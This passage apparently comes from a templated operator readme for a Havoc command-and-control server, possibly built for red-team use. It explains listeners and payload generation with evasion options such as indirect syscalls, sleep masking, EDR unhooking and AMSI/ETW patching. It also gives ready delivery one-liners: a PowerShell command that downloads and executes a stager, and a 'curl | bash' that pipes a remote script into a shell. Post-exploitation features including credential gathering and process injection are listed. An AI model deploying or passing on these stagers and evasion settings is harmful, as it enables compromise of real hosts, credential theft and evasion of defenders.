$ ./havoc client --address {{ c2_ip }}:{{ havoc_teamserver_port | default(40056) }} --username {{ havoc_admin_user | default('admin') }} --password [password]
|
||||
|
||||
LISTENERS
|
||||
--------
|
||||
Two default listeners are configured:
|
||||
- HTTP on port {{ havoc_http_port | default(8080) }}
|
||||
- HTTPS on port {{ havoc_https_port | default(443) }} (through the redirector)
|
||||
|
||||
To view and manage listeners: Attack → Listeners in the Havoc client.
|
||||
|
||||
GENERATING PAYLOADS
|
||||
-----------------
|
||||
Pre-generated payloads are available in /root/Tools/Havoc/payloads/
|
||||
|
||||
To generate new payloads:
|
||||
1. Connect to the Teamserver
|
||||
2. Navigate to Attack → Payload
|
||||
3. Select the listener (HTTPS recommended)
|
||||
4. Choose architecture, format, and evasion options
|
||||
5. For enhanced evasion: Enable indirect syscalls, stack spoofing, and sleep mask
|
||||
|
||||
PAYLOAD DELIVERY
|
||||
--------------
|
||||
PowerShell one-liner:
|
||||
powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://{{ redirector_domain }}/windows_stager.ps1')"
|
||||
|
||||
Linux one-liner:
|
||||
curl -s https://{{ redirector_domain }}/linux_stager.sh | bash
|
||||
|
||||
OPERATIONAL SECURITY
|
||||
------------------
|
||||
- All connections are routed through the redirector
|
||||
- Payload customization includes:
|
||||
* Sleep time: {{ havoc_sleep | default(5) }} seconds with {{ havoc_jitter | default(30) }}% jitter
|
||||
* EDR unhooking techniques
|
||||
* AMSI/ETW patching
|
||||
* Indirect syscalls
|
||||
* Sleep masking with technique: {{ havoc_sleep_mask_technique | default(0) }}
|
||||
|
||||
ADVANCED FEATURES (DEV BRANCH)
|
||||
----------------------------
|
||||
- Enhanced memory scanner evasion
|
||||
- PPID spoofing capabilities
|
||||
- Reflective DLL loading improvements
|
||||
- EDR hook detection and avoidance
|
||||
- Process token manipulation
|
||||
- Registry persistence options
|
||||
|
||||
POST-EXPLOITATION
|
||||
---------------
|
||||
For post-exploitation, Havoc offers:
|
||||
|
||||
1. BOF (Beacon Object Files) support
|
||||
2. Integrated command & control modules
|
||||
3. File system operations
|
||||
4. Process injection & manipulation
|
||||
5. Credential gathering capabilities
|
||||
|
||||
SERVER MANAGEMENT
|
||||
---------------
|
||||
- Havoc Teamserver service: systemctl status havoc
|
||||
- Service configuration: /etc/systemd/system/havoc.service
|
||||
- Configuration profiles: /root/Tools/Havoc/data/profiles/
|
||||
|
||||
TROUBLESHOOTING
|
||||
--------------
|
||||
1. Agent connection issues:
|
||||
- Verify DNS for {{ redirector_domain }} points to your redirector
|
||||
- Check nginx configuration on the redirector
|
||||
- Confirm ports {{ havoc_http_port | default(8080) }} and {{ havoc_https_port | default(443) }} are open
|
||||
|
||||
2. Teamserver issues:
|
||||
- Check service: systemctl status havoc
|
||||
- View logs: journalctl -u havoc
|
||||
- Restart if needed: systemctl restart havoc
|
||||
|
||||
3. Use Havoc client CLI debugging:
|
||||
./havoc client --address {{ c2_ip }}:{{ havoc_teamserver_port | default(40056) }} --username {{ havoc_admin_user | default('admin') }} --password [password] --debug
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user